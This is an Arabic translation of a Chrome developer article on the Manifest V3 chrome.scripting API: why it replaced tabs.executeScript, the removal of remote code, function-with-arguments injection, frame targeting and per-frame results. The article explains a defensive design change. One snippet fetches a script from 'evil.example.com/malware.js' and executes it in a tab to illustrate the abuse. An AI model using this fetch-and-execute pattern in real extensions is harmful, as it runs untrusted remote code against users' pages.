لمحة عن واجهة برمجة التطبيقات chrome.scripting

يقدّم إصدار Manifest V3 عددًا من التغييرات على النظام الأساسي للإضافات في Chrome. في هذه المشاركة، سنستكشف الدوافع والتغييرات الناتجة عن أحد أهم التغييرات، ألا وهو إطلاق واجهة برمجة التطبيقات chrome.scripting.

ما هو chrome.scripting؟

كما قد يوحي الاسم، chrome.scripting هي مساحة اسم جديدة تم تقديمها في إصدار Manifest V3، وهي مسؤولة عن إمكانات إضافة النصوص البرمجية والأنماط.

إنّ المطوّرين الذين أنشأوا إضافات Chrome في السابق قد يكونون على دراية بطرق الإصدار 2 من بيان التطبيق في Tabs API، مثل chrome.tabs.executeScript وchrome.tabs.insertCSS. تسمح هذه الطرق للإضافات بإدخال نصوص برمجية و أوراق أنماط في الصفحات، على التوالي. أمّا في إصدار Manifest V3، فقد انتقلت هذه الإمكانات إلى chrome.scripting، ونخطط لتوسيع نطاقها من خلال إضافة بعض الإمكانات الجديدة في المستقبل.

ما أهمية إنشاء واجهة برمجة تطبيقات جديدة؟

مع تغيير كهذا، فإن أحد الأسئلة الأولى التي تميل إلى الظهور هو، "لماذا؟"

أدى بعض العوامل المختلفة إلى اتخاذ فريق Chrome قرار إدخال مساحة اسم جديدة للبرمجة النصية. أولاً، واجهة برمجة تطبيقات علامات التبويب هي عبارة عن درج غير مرغوب فيه للميزات. ثانيًا، كان علينا إجراء تغييرات قد تؤدي إلى أعطال في واجهة برمجة تطبيقات executeScript الحالية. ثالثًا، علمنا أننا نرغب في توسيع إمكانات البرمجة النصية للإضافات. حددت هذه المخاوف معًا بوضوح الحاجة إلى مساحة اسم جديدة لإمكانيات البرمجة النصية الداخلية.

درج الرسائل غير المرغوب فيها

إحدى المشاكل التي كانت تزعج فريق الإضافات على مدى السنوات القليلة الماضية تتمثّل في تحميل واجهة برمجة تطبيقات chrome.tabs بشكل زائد. عند تقديم واجهة برمجة التطبيقات هذه لأول مرة، ارتبطت معظم الإمكانات التي توفرها بالمفهوم الواسع لعلامة تبويب المتصفح. حتى في تلك المرحلة، كانت هذه المجموعة عبارة عن حقيبة صغيرة من الميزات وعلى مر السنين نمت هذه المجموعة فقط.

بحلول الوقت الذي تم فيه إصدار ملف البيان V3، تطوّرت واجهة برمجة تطبيقات Tabs API لتشمل الإدارة الأساسية لعلامات التبويب، وإدارة الاختيار، وتنظيم النوافذ، والمراسلة، والتحكم في التكبير/التصغير، والتنقل الأساسي، والبرمجة النصية، وبعض الإمكانات الأخرى الأصغر حجمًا. وعلى الرغم من أهمية كل هذه الجوانب، إلا أنّه قد يكون مربكًا بعض الشيء للمطوّرين عند بدء مسيرتهم، وكذلك بالنسبة إلى فريق Chrome أثناء صيانة النظام الأساسي والنظر في الطلبات الواردة من منتدى المطوّرين.

هناك عامل آخر معقّد هو أنّ إذن tabs غير مفهوم. في حين أنّ هناك الكثير من الأذونات الأخرى تمنع الوصول إلى واجهة برمجة تطبيقات معيّنة (مثل storage)، يعد هذا الإذن غير معتاد إلى حد ما لأنّه يمنح الإضافة إذن الوصول إلى الخصائص الحساسة في مثيلات علامة التبويب (وتؤثر الإضافة أيضًا في واجهة برمجة تطبيقات Windows). يعتقد العديد من مطوّري الإضافات عن طريق الخطأ أنّهم بحاجة إلى هذا الإذن للوصول إلى طرق على واجهة برمجة التطبيقات Tabs API، مثل chrome.tabs.create أو chrome.tabs.executeScript. يساعد نقل الوظائف خارج Tabs API في توضيح بعض هذا الالتباس.

التغييرات التي قد تؤدي إلى عطل

عند تصميم إصدار Manifest V3، كانت إحدى المشاكل الرئيسية التي أردنا معالجتها هي إساءة الاستخدام وتوفير البرامج الضارة التي تم فيها تفعيل "رمز مُستضاف عن بُعد" أو رمز يتم تنفيذه بدون تضمينه في حزمة الإضافات. من الشائع أن ينفّذ مؤلفو الإضافات المسيئة نصوصًا برمجية يتم استرجاعها من خوادم بعيدة لسرقة بيانات المستخدم وإدخال برامج ضارة وتجنُّب الرصد. بينما تستخدم الجهات الفاعلة الجيدة هذه الإمكانية، شعرنا في النهاية أن البقاء على حاله كان أمرًا خطيرًا للغاية.

هناك طريقتان مختلفتان يمكن من خلالهما الإضافات تنفيذ التعليمات البرمجية غير المجمّعة، ولكن الطريقة ذات الصلة هنا هي طريقة Manifest V2 chrome.tabs.executeScript. تسمح هذه الطريقة للإضافة بتنفيذ سلسلة عشوائية من التعليمات البرمجية في علامة تبويب مستهدفة. وهذا بدوره يعني أن مطوّر البرامج الضار يمكنه جلب نص برمجي عشوائي من خادم بعيد وتنفيذه داخل أي صفحة يمكن للإضافة الوصول إليها. كنا نعلم أنه إذا أردنا معالجة مشكلة التعليمات البرمجية عن بُعد، فسيتعين علينا إسقاط هذه الميزة.

(async function() {
  let result = await fetch('https://evil.example.com/malware.js');
  let script = await result.text();

  chrome.tabs.executeScript({
    code: script,
  });
})();

أردنا أيضًا إصلاح بعض المشاكل الأخرى الأكثر دقة في تصميم إصدار Manifest V2، وجعل واجهة برمجة التطبيقات أداة أكثر تنقيحًا وقابلية للتنبؤ.

كان بإمكاننا تغيير طريقة توقيع هذه الطريقة ضمن واجهة برمجة تطبيقات Tabs API، ولكن لاحظنا أنّه بين هذه التغييرات المعطّلة وإطلاق الإمكانات الجديدة (التي سنتناولها في القسم التالي)، سيكون من الأسهل على جميع المستخدمين الاستفادة من فاصل إعلاني خالٍ من المشاكل.

توسيع إمكانيات البرمجة النصية

كان أحد الاعتبارات الأخرى التي ساهمت في عملية تصميم Manifest V3 هو الرغبة في تقديم إمكانات برمجة نصية إضافية إلى النظام الأساسي للإضافات في Chrome. وأردنا على وجه التحديد إتاحة النصوص البرمجية للمحتوى الديناميكي وتوسيع نطاق إمكانات طريقة executeScript.

دعم النصوص البرمجية للمحتوى الديناميكي هو طلب ميزة راسخ في Chromium. في الوقت الحالي، لا يمكن للإضافات المستنِدة إلى إصدارَي Manifest V2 وV3 من Chrome أن تعلن بشكل ثابت إلا عن نصوص برمجية خاصة بالمحتوى في ملف manifest.json الخاص بها، ولا توفّر هذه المنصّة طريقة لتسجيل نصوص برمجية جديدة للمحتوى أو تعديل عملية تسجيل النصوص البرمجية للمحتوى أو إلغاء تسجيل النصوص البرمجية للمحتوى في وقت التشغيل.

مع أنّنا أردنا معالجة طلب الميزة هذا في إصدار Manifest V3، لم يبدو أنّ أيًا من واجهات برمجة التطبيقات الحالية هو المكان المناسب. فكّرنا أيضًا في التوفيق مع Firefox على واجهة برمجة التطبيقات لنصوص المحتوى، ولكن في وقت مبكر اخترنا بعض العيوب الرئيسية لهذا الأسلوب. أولاً، عرفنا أنّه سيكون لدينا توقيعات غير متوافقة (مثل إيقاف استخدام السمة code). ثانيًا، كان لواجهة برمجة التطبيقات مجموعة مختلفة من قيود التصميم (على سبيل المثال، الحاجة إلى التسجيل لتستمر لفترة أطول من عمر عامل الخدمة). أخيرًا، ستنقلنا مساحة الاسم هذه أيضًا إلى وظيفة النصوص البرمجية للمحتوى حيث نفكر في البرمجة النصية في الإضافات على نطاق أوسع.

وفي executeScript، أردنا أيضًا توسيع نطاق ما يمكن أن تفعله واجهة برمجة التطبيقات هذه بشكل يتجاوز ما يدعمه إصدار واجهة برمجة تطبيقات علامات التبويب. وعلى وجه التحديد، أردنا دعم الدوال والوسيطات واستهداف إطارات محدّدة بسهولة أكبر واستهداف سياقات لا تندرج ضمن "علامات التبويب".

من الآن فصاعدًا، ننظر أيضًا في كيفية تفاعل الإضافات مع تطبيقات الويب التقدّمية (PWA) والسياقات الأخرى التي لا يتم ربطها من الناحية النظرية بـ "علامات التبويب".

التغييرات بين tab.executeScript وscripting.executeScript

في بقية هذه المشاركة، أريد إلقاء نظرة فاحصة على أوجه التشابه والاختلاف بين chrome.tabs.executeScript وchrome.scripting.executeScript.

إدخال دالة بوسيطات

وبينما نفكر في الطريقة التي يجب أن تتطور بها المنصة في ضوء القيود المفروضة على التعليمات البرمجية المستضافة عن بُعد، أردنا تحقيق توازن بين القوة الأولية لتنفيذ التعليمات البرمجية العشوائية والسماح فقط بالنصوص البرمجية للمحتوى الثابت. كان الحل الذي توصلنا إليه هو السماح للإضافات بإدخال دالة كنص برمجي للمحتوى وتمرير مجموعة من القيم كوسيطات.

لِنلقِ نظرة سريعة على مثال (مُبسّط أكثر من اللازم). لنفترض أننا أردنا إدخال نص برمجي للترحيب بالمستخدم بالاسم عندما ينقر المستخدم على زر الإجراء في الإضافة (الرمز في شريط الأدوات). في إصدار Manifest V2، يمكننا إنشاء سلسلة تعليمات برمجية ديناميكيًا وتنفيذ هذا النص البرمجي في الصفحة الحالية.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/greet-user.js');
  let userScript = await userReq.text();

  chrome.tabs.executeScript({
    // userScript == 'alert("Hello, <GIVEN_NAME>!")'
    code: userScript,
  });
});

لا يمكن للإضافات المستنِدة إلى إصدار Manifest V3 استخدام رمز غير مضمَّن مع الإضافة، وكان هدفنا هو الحفاظ على بعضٍ من الديناميكيات التي تم تفعيل حظر الرموز العشوائية فيها عند استخدام الإضافات المستنِدة إلى إصدار Manifest V2. ويتيح منهج الوظيفة والوسيطات لمراجعي "سوق Chrome الإلكتروني" والمستخدمين والأطراف الأخرى المهتمة إجراء تقييم أكثر دقة للمخاطر التي تطرحها الإضافة، مع السماح أيضًا للمطوّرين بتعديل سلوك وقت تشغيل الإضافة استنادًا إلى إعدادات المستخدم أو حالة التطبيق.

// Manifest V3 extension
function greetUser(name) {
  alert(`Hello, ${name}!`);
}
chrome.action.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/user-data.json');
  let user = await userReq.json();
  let givenName = user.givenName || '<GIVEN_NAME>';

  chrome.scripting.executeScript({
    target: {tabId: tab.id},
    func: greetUser,
    args: [givenName],
  });
});

استهداف الإطارات

أردنا أيضًا تحسين كيفية تفاعل المطوّرين مع الإطارات في واجهة برمجة التطبيقات التي تمت مراجعتها. وقد سمح إصدار Manifest V2 من executeScript للمطوّرين باستهداف جميع الإطارات في علامة تبويب أو إطار معيّن في علامة التبويب. يمكنك استخدام chrome.webNavigation.getAllFrames للحصول على قائمة بجميع الإطارات في علامة تبويب.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.webNavigation.getAllFrames({tabId: tab.id}, (frames) => {
    let frame1 = frames[0].frameId;
    let frame2 = frames[1].frameId;

    chrome.tabs.executeScript(tab.id, {
      frameId: frame1,
      file: 'content-script.js',
    });
    chrome.tabs.executeScript(tab.id, {
      frameId: frame2,
      file: 'content-script.js',
    });
  });
});

في إصدار Manifest V3، استبدلنا سمة العدد الصحيح frameId الاختيارية في كائن الخيارات بمصفوفة frameIds اختيارية من الأعداد الصحيحة، ما يسمح للمطوّرين باستهداف إطارات متعددة في طلب بيانات واحد من واجهة برمجة التطبيقات.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let frames = await chrome.webNavigation.getAllFrames({tabId: tab.id});
  let frame1 = frames[0].frameId;
  let frame2 = frames[1].frameId;

  chrome.scripting.executeScript({
    target: {
      tabId: tab.id,
      frameIds: [frame1, frame2],
    },
    files: ['content-script.js'],
  });
});

نتائج إدخال النصوص البرمجية

لقد أدخلنا أيضًا تحسينات على طريقة عرض نتائج إدخال النصوص البرمجية في الإصدار 3 من ملف البيان. "النتيجة" هي في الأساس العبارة النهائية التي يتم تقييمها في نص برمجي. فكر في الأمر مثل القيمة التي يتم إرجاعها عند استدعاء eval() أو تنفيذ جزء من التعليمات البرمجية في وحدة تحكم أدوات مطوّري البرامج في Chrome، ولكن يتم إنشاء تسلسل لتمرير النتائج عبر العمليات.

في إصدار Manifest V2، سيعرض executeScript وinsertCSS صفيفًا من نتائج التنفيذ العادي. لا بأس إذا كان لديك نقطة إدخال واحدة فقط، ولكن ترتيب النتائج ليس مضمونًا عند إدخال إطارات متعددة، لذلك لا توجد طريقة لمعرفة النتيجة المرتبطة بأي إطار.

لنلقِ نظرة على مصفوفة results التي يعرضها إصدار Manifest V2 أو إصدار Manifest V3 الخاص بالإضافة نفسها. سيدخل كِلا الإصدارَين النص البرمجي للمحتوى نفسه وسنقارن النتائج في صفحة العرض التوضيحي نفسها.

// content-script.js
var headers = document.querySelectorAll('p');
headers.length;

عند تشغيل إصدار Manifest V2، نستعيد مصفوفة [1, 0, 5]. ما النتيجة التي تتوافق مع الإطار الرئيسي وأي منها لإطار iframe؟ لا تخبرنا القيمة المعروضة، لذلك لا نعرف بالتأكيد.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.tabs.executeScript({
    allFrames: true,
    file: 'content-script.js',
  }, (results) => {
    // results == [1, 0, 5]
    for (let result of results) {
      if (result > 0) {
        // Do something with the frame... which one was it?
      }
    }
  });
});

في إصدار Manifest V3، يحتوي results الآن على مصفوفة من عناصر النتائج بدلاً من مجموعة من نتائج التقييم فقط، وتحدِّد كائنات النتائج بوضوح معرّف الإطار لكل نتيجة. وهذا يسهِّل على المطورين استخدام النتيجة واتخاذ إجراء بشأن إطار معين.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let results = await chrome.scripting.executeScript({
    target: {tabId: tab.id, allFrames: true},
    files: ['content-script.js'],
  });
  // results == [
  //   {frameId: 0, result: 1},
  //   {frameId: 1235, result: 5},
  //   {frameId: 1234, result: 0}
  // ]

  for (let result of results) {
    if (result.result > 0) {
      console.log(`Found ${result} p tag(s) in frame ${result.frameId}`);
      // Found 1 p tag(s) in frame 0
      // Found 5 p tag(s) in frame 1235
    }
  }
});

الخاتمة

تقدّم الإصدارات التجريبية في إصدارات البيان فرصة نادرة لإعادة التفكير في واجهات برمجة التطبيقات للإضافات وتحديثها. يتمثّل هدفنا من خلال إصدار Manifest V3 في تحسين تجربة المستخدم النهائي من خلال جعل الإضافات أكثر أمانًا وتحسين تجربة المطوّرين في الوقت نفسه. من خلال توفير chrome.scripting في إصدار Manifest V3، تمكّنا من المساعدة في إزالة Tabs API وإعادة تصميم executeScript لكي تصبح منصة أكثر أمانًا للإضافات، ووضع أساس لإمكانيات برمجة نصية جديدة سيتم إطلاقها في وقت لاحق من هذا العام.